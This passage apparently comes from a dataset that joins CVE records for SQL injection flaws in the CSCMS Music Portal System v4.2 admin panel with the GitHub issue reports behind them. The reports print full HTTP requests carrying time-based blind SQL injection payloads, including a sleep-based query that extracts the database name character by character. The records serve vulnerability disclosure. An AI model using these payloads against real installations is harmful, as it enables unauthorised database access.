Referer: http://cscms.test/admin.php/pic/admin/type?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n7gacaf0cfrdgd78692oaa4f2li036fp
Connection: close
id=4)and(sleep(5))--+
```
The payload executes and sleeps for 5 seconds
so construct payload to Blasting database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerability exist
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/21/comments | 0 | 2022-04-19T02:28:00Z | 2022-04-19T02:28:00Z | https://github.com/chshcms/cscms/issues/21 | 1,207,638,326 | 21 | 3,658 |
CVE-2022-29662 | 2022-05-26T14:15:08.350 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/news/admin/news/save. | {
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"integrityImpact": "PARTIAL",
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] | 89 | https://github.com/chshcms/cscms/issues/17#issue-1207624107 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
SQL injection vulnerability exists in Cscms music portal system v4.2 (news_News.php_del)
Administrators need to add another news after logging in.the following data package is constructed
```
POST /admin.php/news/admin/news/save HTTP/1.1
Host: cscms.test
Content-Length: 204
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/news/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=5apla1fdentnsdis6lbq25n548poo682
Connection: close
cid=1&tid=0&reco=1&color=&name=1&addtime=ok&info=1&pic=&pic2=&tags=&hits=0&yhits=0&zhits=0&rhits=0&dhits=0&chits=0&user=&cion=0&vip=0&level=0&skins=&content=&file=&title=&keywords=&description=&id=0&yid=0
```
Constructing malicious packets to implement SQL injection
```
POST /admin.php/news/admin/news/del?yid=3 HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/news?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=upaaled30l33aaosd7mdj746v41neu6a
Connection: close
id=1)and(sleep(5))--+
```
The payload executes and sleeps for 5 seconds
construct payload
Because the first letter of the background database name is "c", it sleeps for 5 seconds
Vulnerability source code News::del
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/17/comments | 0 | 2022-04-19T01:59:58Z | 2022-04-19T01:59:58Z | https://github.com/chshcms/cscms/issues/17 | 1,207,624,107 | 17 | 3,659 |
CVE-2022-29663 | 2022-05-26T14:15:08.387 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/pic/admin/type/hy. | {
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"89"
] | 89 | https://github.com/chshcms/cscms/issues/22#issue-1207641519 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a SQL blind injection vulnerability in pic_Type.php_hy
Add an album after the administrator logs in
Then delete the album,When restoring the album in the recycle bin, construct malicious statements to realize SQL injection
```
POST /admin.php/pic/admin/type/hy HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/pic/admin/type?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n7gacaf0cfrdgd78692oaa4f2li036fp
Connection: close
id=7)and(sleep(5))--+
```
The payload executes and sleeps for 5 seconds
construct payload to blast database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerability exist
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/22/comments | 0 | 2022-04-19T02:34:04Z | 2022-04-19T02:34:04Z | https://github.com/chshcms/cscms/issues/22 | 1,207,641,519 | 22 | 3,660 |
CVE-2022-29664 | 2022-05-26T14:15:08.430 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/pic/admin/type/pl_save. | {
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] | 89 | https://github.com/chshcms/cscms/issues/23#issue-1207644525 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a SQL blind injection vulnerability in pic_Type.php_pl_save
There is an injection when adding an album to save, and the injection point is ID
```
POST /admin.php/pic/admin/type/pl_save HTTP/1.1
Host: cscms.test
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/pic/admin/type?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n7gacaf0cfrdgd78692oaa4f2li036fp;XDEBUG_SESSION=PHPSTORM
Connection: close
xid=1&csid[]=cid&id=7)and(sleep(5))--+
```
construct payload to blast database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/23/comments | 0 | 2022-04-19T02:39:42Z | 2022-04-19T02:39:42Z | https://github.com/chshcms/cscms/issues/23 | 1,207,644,525 | 23 | 3,661 |
CVE-2022-29665 | 2022-05-26T14:15:08.477 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/news/admin/topic/save. | {
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},
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] | 89 | https://github.com/chshcms/cscms/issues/19#issue-1207631855 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | SQL injection vulnerability exists in Cscms music portal system v4.2 news_Topic.php_del
#### Details
Add a news topic after the administrator logs in
```
POST /admin.php/news/admin/topic/save HTTP/1.1
Host: cscms.test
Content-Length: 150
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=b3vaeo61gbiune90rtjsdcqg2am7gqgl
Connection: close
name=1&tid=0&yid=0&bname=1&addtime=ok&pic=&toppic=&hits=0&yhits=0&zhits=0&rhits=0&skins=topic-show.html&neir=&file=&title=&keywords=&description=&id=0
```
When deleting news topics, malicious statements can be constructed to realize SQL injection
```
POST /admin.php/news/admin/topic/del HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic?v=705
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=b3vaeo61gbiune90rtjsdcqg2am7gqgl
Connection: close
id=3)and(sleep(5))--+
```
The payload executes and sleeps for 5 seconds,so construct payload to Blast database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the Injection vulnerability exists | SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/19/comments | 0 | 2022-04-19T02:15:35Z | 2022-04-19T02:15:35Z | https://github.com/chshcms/cscms/issues/19 | 1,207,631,855 | 19 | 3,662 |
CVE-2022-29666 | 2022-05-26T14:15:08.523 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/pic/admin/lists/zhuan. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
There is a Injection vulnerability exists in pic_Lists.php_zhuan
The administrator needs to add a picture after logging in
construct payload
```
POST /admin.php/pic/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/pic/admin/type?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=n7gacaf0cfrdgd78692oaa4f2li036fp;XDEBUG_SESSION=PHPSTORM
Connection: close
id[]=(sleep(5))&cid=5
```
The injection point is ID and sleeps for 5 seconds
construct payload
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/24/comments | 0 | 2022-04-19T02:43:26Z | 2022-04-19T02:43:26Z | https://github.com/chshcms/cscms/issues/24 | 1,207,646,618 | 24 | 3,663 |
CVE-2022-29667 | 2022-05-26T14:15:08.563 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via /admin.php/pic/admin/pic/hy. This vulnerability is exploited via restoring deleted photos. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in pic_Pic.php_hy
Injection occurs when restoring deleted photos from the trash
```
GET /admin.php/pic/admin/pic/hy?id=3)and(sleep(5))--+ HTTP/1.1
Host: cscms.test
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://cscms.test/admin.php/pic/admin/pic?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=o58jedqf4p0pobv4atdiuae0n6015865
Connection: close
```
Discovery success makes the server sleep,Construct payload,Then construct payload to blast database
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/26/comments | 0 | 2022-04-19T02:53:31Z | 2022-04-19T02:53:31Z | https://github.com/chshcms/cscms/issues/26 | 1,207,651,726 | 26 | 3,664 |
CVE-2022-29669 | 2022-05-26T14:15:08.607 | CSCMS Music Portal System v4.2 was discovered to contain a SQL injection vulnerability via the id parameter at /admin.php/news/admin/lists/zhuan. | {
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] | 89 | https://github.com/chshcms/cscms/issues/20#issue-1207634969 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
Injection vulnerability exists in news_Lists.php_zhuan
construct payload
```
POST /admin.php/news/admin/lists/zhuan HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic?v=705
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=b3vaeo61gbiune90rtjsdcqg2am7gqgl;XDEBUG_SESSION=PHPSTORM
Connection: close
id[]=(sleep(5))&cid=5
```
The injection point is ID and sleeps for 5 seconds
construct payload
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the vulnerablity exisit
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/20/comments | 0 | 2022-04-19T02:21:42Z | 2022-04-19T02:21:42Z | https://github.com/chshcms/cscms/issues/20 | 1,207,634,969 | 20 | 3,665 |
CVE-2022-29680 | 2022-05-26T14:15:08.727 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/user/zu_del. | {
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"89"
] | 89 | https://github.com/chshcms/cscms/issues/31#issue-1209052957 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_User.php_zu_del
The administrator needs to add a user to the member list after logging in. SQL injection vulnerability is generated when deleting the user. The constructed malicious payload is as follows
```
POST /admin.php/user/zu_del HTTP/1.1
Host: cscms.test
Content-Length: 15
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/user/level?v=2012
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=6g124miit249dnkv508bnrsshc8ugiss;XDEBUG_SESSION=PHPSTORM
Connection: close
id[]=(sleep(5))
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/31/comments | 0 | 2022-04-20T01:27:59Z | 2022-04-20T01:27:59Z | https://github.com/chshcms/cscms/issues/31 | 1,209,052,957 | 31 | 3,666 |
CVE-2022-29681 | 2022-05-26T14:15:08.767 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/Links/del. | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/35#issue-1209058818"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/35#issue-1209058818"
}
] | [
{
"nodes": [
{
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"criteria": "cpe:2.3:a:chshcms:cscms_music_portal_system:4.2:*:*:*:*:*:*:*",
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] | [
"89"
] | 89 | https://github.com/chshcms/cscms/issues/35#issue-1209058818 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_Links.php_del
After logging in, the administrator needs to add a friendship link first. SQL injection vulnerability occurs when deleting the friendship link. The constructed malicious payload is as follows
```
POST /admin.php/Links/del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
id[]=(sleep(5))
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/35/comments | 0 | 2022-04-20T01:40:45Z | 2022-04-20T01:40:45Z | https://github.com/chshcms/cscms/issues/35 | 1,209,058,818 | 35 | 3,667 |
CVE-2022-29682 | 2022-05-26T14:15:08.807 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/vod/admin/topic/del. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/36#issue-1209060196"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/36#issue-1209060196"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:chshcms:cscms_music_portal_system:4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "4A0D50C4-3CEE-493B-86F5-8F55E1000F68",
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] | [
"89"
] | 89 | https://github.com/chshcms/cscms/issues/36#issue-1209060196 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in vod_Topic.php_del
The administrator needs to add a video theme after logging in. SQL injection vulnerability is generated when deleting the video theme. The constructed malicious payload is as follows
```
POST /admin.php/vod/admin/topic/del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
id=(sleep(5))
```
You can see that success makes the server sleep
Construct payload to guess the database
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct
| SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/36/comments | 0 | 2022-04-20T01:43:49Z | 2022-04-20T01:43:49Z | https://github.com/chshcms/cscms/issues/36 | 1,209,060,196 | 36 | 3,668 |
CVE-2022-29683 | 2022-05-26T14:15:08.847 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/Label/page_del. | {
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8,
"impactScore": 6.4,
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"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
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}
],
"cvssMetricV30": null,
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"scope": "UNCHANGED",
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"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/34#issue-1209056912"
},
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"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/34#issue-1209056912"
}
] | [
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"nodes": [
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{
"criteria": "cpe:2.3:a:chshcms:cscms_music_portal_system:4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "4A0D50C4-3CEE-493B-86F5-8F55E1000F68",
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}
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}
] | [
"89"
] | 89 | https://github.com/chshcms/cscms/issues/34#issue-1209056912 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_Label.php_page_del
```
POST /admin.php/Label/page_del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
id[]='or+(sleep(5))#
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct | SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/34/comments | 0 | 2022-04-20T01:36:23Z | 2022-04-20T01:36:23Z | https://github.com/chshcms/cscms/issues/34 | 1,209,056,912 | 34 | 3,669 |
CVE-2022-29684 | 2022-05-26T14:15:08.887 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/Label/js_del. | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
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"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
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"attackVector": "NETWORK",
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"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/33#issue-1209055493"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/chshcms/cscms/issues/33#issue-1209055493"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:chshcms:cscms_music_portal_system:4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "4A0D50C4-3CEE-493B-86F5-8F55E1000F68",
"versionEndExcluding": null,
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}
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"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/chshcms/cscms/issues/33#issue-1209055493 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"chshcms",
"cscms"
] | #### Details
there is a Injection vulnerability exists in sys_Label.php_js_del
```
POST /admin.php/Label/js_del HTTP/1.1
Host: cscms.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cscms.test/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3lvkrqraebntvbg76ecdifg0j6vl1bpl; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
id[]='or+(sleep(5))#
```
You can see that success makes the server sleep
Construct payload to guess the database
`(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)`
There is blind SQL injection. Because the database name is "cscms", the string returned by select database() starts with 'C', substr ((select + database()), 1,1) = 'C' is true, and the verification is correct | SQL injection vulnerability exists in Cscms music portal system v4.2 | https://api.github.com/repos/chshcms/cscms/issues/33/comments | 0 | 2022-04-20T01:33:15Z | 2022-04-20T01:33:15Z | https://github.com/chshcms/cscms/issues/33 | 1,209,055,493 | 33 | 3,670 |
CVE-2022-29685 | 2022-05-26T14:15:08.927 | CSCMS Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the id parameter at /admin.php/User/level_sort. | {
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
